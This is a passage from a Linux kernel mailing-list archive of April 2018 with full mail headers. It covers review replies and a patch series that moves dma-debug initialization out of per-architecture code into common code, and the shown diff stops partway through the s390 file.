Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524555118 10350 195.159.176.226 (24 Apr 2018 07:31:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 07:31:58 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, linux-arch@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
        linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
        nios2-dev@lists.rocketboards.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 24 09:31:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fAsQZ-0002Xz-Gd
	for glk-linux-kernel-4@m.gmane.org; Tue, 24 Apr 2018 09:31:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756492AbeDXHeA (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Apr 2018 03:34:00 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:57575 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756326AbeDXHd6 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Apr 2018 03:33:58 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 9764568DB3; Tue, 24 Apr 2018 09:35:24 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <294a1469-01d6-10fb-5de1-b1d4513a066c@arm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2749308 gmane.linux.kernel.cross-arch:43648 gmane.linux.ports.parisc:28556 gmane.linux.ports.sh.devel:56906 gmane.linux.ports.hexagon:1669 gmane.linux.ports.alpha:4987 gmane.linux.ports.sparc:27754 gmane.linux.kernel.arc:3828 gmane.linux.ports.arm.kernel:645470
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2749308>

On Fri, Apr 20, 2018 at 11:23:43AM +0100, Robin Murphy wrote:
>> -void dma_debug_init(u32 num_entries)
>> +static int dma_debug_init(void)
>>   {
>> +	u32 num_entries;
>
> Maybe initialise it to PREALLOC_DMA_DEBUG_ENTRIES?

We initialize it down in an if/else clause which seems a little more clear
to me, at the cost of two extra lines of code.  But I suspect I should
just go a little further and merge the global req_entries and the local
num_entries into a single variable with a better name.

>> +core_initcall(dma_debug_init);
>
> I think it's worth noting that for most users this now happens much earlier 
> than before. In general that's probably good (e.g. on arm64 it should 
> prevent false-positives from the Arm SMMU drivers under ACPI), and I can't 
> imagine it's high-risk, but it is a behaviour change.

I'll mention this in the changelog, thanks!


From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Tue, 24 Apr 2018 10:20:23 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20180424082023.GA19725@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-23-hch@lst.de> <1524346967.3335.9.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524557829 30527 195.159.176.226 (24 Apr 2018 08:17:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 08:17:09 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, linux-arch@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 24 10:17:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fAt8I-0007o5-SZ
	for glk-linux-kernel-4@m.gmane.org; Tue, 24 Apr 2018 10:17:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756584AbeDXITB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Apr 2018 04:19:01 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:57783 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756228AbeDXIS5 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Apr 2018 04:18:57 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id A413068DB3; Tue, 24 Apr 2018 10:20:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1524346967.3335.9.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2749349 gmane.linux.kernel.cross-arch:43649 gmane.linux.ports.alpha:4988 gmane.linux.kernel.arc:3829 gmane.linux.ports.arm.kernel:645484 gmane.linux.ports.hexagon:1670 gmane.linux.ports.parisc:28557 gmane.linux.ports.sh.devel:56907 gmane.linux.ports.sparc:27757
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2749349>

On Sat, Apr 21, 2018 at 10:42:47PM +0100, James Bottomley wrote:
> Well, this is wrong: you just made every 32 bit parisc system
> unnecessarily use non-coherent.  We actually only have a small small
> set of non-coherent systems.  The pxcs and pcxt systems (which are
> about 99% of the user base) can use coherent dma ops.  The problem
> seems to be in your new world you only have one dma_noncoherent_ops
> pointer ... we definitely need two on parisc, so whether
> arch_dma_cache_sync is present or not needs to be dynamic not config
> defined.

The changelog explicitly mentions merging the two noncoherent
implementations, they only differ in the alloc and free callsbacks,
and we now runtime switch between them.  Before the pcxs and pcxt
cases used pcx_dma_ops, and pcxl and pxcl2 used pcxl_dma_ops, now
all four use dma_noncoherent_ops and arch_dma_alloc/arch_dma_free
branch out to different behavior.

Both pcx_dma_ops and pcxl_dma_ops do define the cache_sync
method in the existing code, so that isn't the issue.

I'll take a deeper look at what sort of behavior change might have
been introduced.

> 
> James
---end quoted text---


From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: dma-debug cleanups, including removing the arch hook
Date: Tue, 24 Apr 2018 16:02:32 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524578440 593 195.159.176.226 (24 Apr 2018 14:00:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 14:00:40 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Apr 24 16:00:34 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fAyUi-0008Qd-R1
	for gla-linux-snps-arc@m.gmane.org; Tue, 24 Apr 2018 16:00:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=+CJa18gAt2oc6brW1G4sT0F38zptet728isTe2cmia4=; b=E67
	nJsJNrU27PYO6eQnCfojFJBO92UVJR6Fr07CRePieDFQ4LF7HJ3stauqesbSxNLfPGriHncr7g/wG
	4pNoiRYXaCUr2IOtd4WtUJL6k38hJu9pmwO5iQK/VBNOKcF8UJoxwWdSU/zC+X7WO1PG3y1Iw4Bt7
	0Ius7NmaVRsHgoPBZXsDBamDn+nA+bDlyNQxejlkKqqMYBVUzQNYM7LTntGgKZYOqw03+OvafEZUA
	jGvDK5ZuTjRbr5ZPiaqi7EEPHEuy5g50fmrh7BrJLcYl4M/HwvLgb8o8F8bpFsB8FQcT6aDrlyBwd
	9EVk+ZkO21UZEN50I/DjEjxeY9LA6+w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fAyWo-0006Vj-C1; Tue, 24 Apr 2018 14:02:42 +0000
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fAyWl-0006V5-09; Tue, 24 Apr 2018 14:02:39 +0000
X-Mailer: git-send-email 2.17.0
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3830 gmane.linux.kernel.iommu:23857 gmane.linux.kernel.cross-arch:43652 gmane.linux.ports.parisc:28558 gmane.linux.ports.sh.devel:56910 gmane.linux.ports.hexagon:1671 gmane.linux.kernel:2749860 gmane.linux.ports.alpha:4989 gmane.linux.ports.sparc:27758 gmane.linux.ports.arm.kernel:645619
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3830>

Hi all,

this series has a few dma-debug cleanups, most notably removing the need
for architectures to explicitly initialize dma-debug.

From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 1/3] dma-debug: move initialization to common code
Date: Tue, 24 Apr 2018 16:02:33 +0200
Lines: 418
Approved: news@gmane.org
Message-ID: <20180424140235.9125-2-hch@lst.de>
References: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524578460 1998 195.159.176.226 (24 Apr 2018 14:01:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 14:01:00 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Apr 24 16:00:54 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fAyV3-0000PK-NB
	for glki-iommu@m.gmane.org; Tue, 24 Apr 2018 16:00:54 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 0D10E728;
	Tue, 24 Apr 2018 14:02:56 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 27823412
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 24 Apr 2018 14:02:55 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2EB2268A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 24 Apr 2018 14:02:53 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=liKHpUGjjMpyDiR7SzBrpP0mBTyQCpAIrL3B9t6p/uA=;
	b=eYpPHWtUGY47lDVrs9ptjviMr
	9q9gFQHMZXXo0RlCWt2O+mcNu00yEAH7XxMI0M14K1OXSWIJ0DUMsT78i/zu+9+8P4cAXzssPA7F5
	F+lYXxATIVC0c2RDaU2ZD7kA/a0d4Z8/HLAVDTgkugClDg3VoH0JokKa9fbdyIo8/lrMIwZkez7iw
	dsT0jXqL7SuPdr/oofsr3NZqyK9XsakucOq08peT9tPVNUH4KBBjojFiFC6BX3ovCPitBwoznw3PG
	ME3VSd0quJiMR3oci17sZrCDMXiCG6gX9MtNE2nwcZutfNvFs+aTXDs1BNCpUxfClFWr28fzu2SCc
	zq61QfwoA==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fAyWn-0006VV-RH; Tue, 24 Apr 2018 14:02:42 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180424140235.9125-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:23858 gmane.linux.kernel.cross-arch:43653 gmane.linux.ports.parisc:28559 gmane.linux.ports.sh.devel:56911 gmane.linux.ports.hexagon:1672 gmane.linux.kernel:2749861 gmane.linux.ports.alpha:4990 gmane.linux.ports.sparc:27759 gmane.linux.kernel.arc:3831 gmane.linux.ports.arm.kernel:645620
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/23858>

Most mainstream architectures are using 65536 entries, so lets stick to
that.  If someone is really desperate to override it that can still be
done through <asm/dma-mapping.h>, but I'd rather see a really good
rationale for that.

dma_debug_init is now called as a core_initcall, which for many
architectures means much earlier, and provides dma-debug functionality
earlier in the boot process.  This should be safe as it only relies
on the memory allocator already being available.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arm/mm/dma-mapping-nommu.c |  9 ---------
 arch/arm/mm/dma-mapping.c       |  9 ---------
 arch/arm64/mm/dma-mapping.c     | 10 ----------
 arch/c6x/kernel/dma.c           | 11 -----------
 arch/ia64/kernel/dma-mapping.c  | 10 ----------
 arch/microblaze/kernel/dma.c    | 11 -----------
 arch/mips/mm/dma-default.c      | 10 ----------
 arch/openrisc/kernel/dma.c      | 11 -----------
 arch/powerpc/kernel/dma.c       |  3 ---
 arch/s390/pci/pci_dma.c         |  9 ---------
 arch/sh/mm/consistent.c         |  9 ---------
 arch/sparc/kernel/Makefile      |  2 --
 arch/sparc/kernel/dma.c         | 13 -------------
 arch/x86/kernel/pci-dma.c       |  4 ----
 arch/xtensa/kernel/pci-dma.c    |  9 ---------
 include/linux/dma-debug.h       |  6 ------
 lib/dma-debug.c                 | 21 ++++++++++++++-------
 17 files changed, 14 insertions(+), 143 deletions(-)
 delete mode 100644 arch/sparc/kernel/dma.c

diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 619f24a42d09..f448a0663b10 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -241,12 +241,3 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 void arch_teardown_dma_ops(struct device *dev)
 {
 }
-
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-core_initcall(dma_debug_do_init);
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index 8c398fedbbb6..c26bf83f44ca 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -1165,15 +1165,6 @@ int arm_dma_supported(struct device *dev, u64 mask)
 	return __dma_supported(dev, mask, false);
 }
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-core_initcall(dma_debug_do_init);
-
 #ifdef CONFIG_ARM_DMA_USE_IOMMU
 
 static int __dma_info_to_prot(enum dma_data_direction dir, unsigned long attrs)
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index a96ec0181818..db01f2709842 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -508,16 +508,6 @@ static int __init arm64_dma_init(void)
 }
 arch_initcall(arm64_dma_init);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_debug_do_init);
-
-
 #ifdef CONFIG_IOMMU_DMA
 #include <linux/dma-iommu.h>
 #include <linux/platform_device.h>
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index 9fff8be75f58..31e1a9ec3a9c 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -136,14 +136,3 @@ const struct dma_map_ops c6x_dma_ops = {
 	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
 };
 EXPORT_SYMBOL(c6x_dma_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
index f2d57e66fd86..7a471d8d67d4 100644
--- a/arch/ia64/kernel/dma-mapping.c
+++ b/arch/ia64/kernel/dma-mapping.c
@@ -9,16 +9,6 @@ int iommu_detected __read_mostly;
 const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
-
 const struct dma_map_ops *dma_get_ops(struct device *dev)
 {
 	return dma_ops;
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index c91e8cef98dd..3145e7dc8ab1 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -184,14 +184,3 @@ const struct dma_map_ops dma_nommu_ops = {
 	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
 };
 EXPORT_SYMBOL(dma_nommu_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index dcafa43613b6..f9fef0028ca2 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -402,13 +402,3 @@ static const struct dma_map_ops mips_default_dma_map_ops = {
 
 const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
 EXPORT_SYMBOL(mips_dma_map_ops);
-
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init mips_dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(mips_dma_init);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index a945f00011b4..ec7fd45704d2 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -247,14 +247,3 @@ const struct dma_map_ops or1k_dma_map_ops = {
 	.sync_single_for_device = or1k_sync_single_for_device,
 };
 EXPORT_SYMBOL(or1k_dma_map_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index da20569de9d4..138157deeadf 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -309,8 +309,6 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
 }
 EXPORT_SYMBOL(dma_set_coherent_mask);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
 int dma_set_mask(struct device *dev, u64 dma_mask)
 {
 	if (ppc_md.dma_set_mask)
@@ -361,7 +359,6 @@ EXPORT_SYMBOL_GPL(dma_get_required_mask);
 
 static int __init dma_init(void)
 {
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
 #ifdef CONFIG_PCI
 	dma_debug_add_bus(&pci_bus_type);
 #endif
diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
index 2d15d84c20ed..5dee7a922589 100644
--- a/arch/s390/pci/pci_dma.c
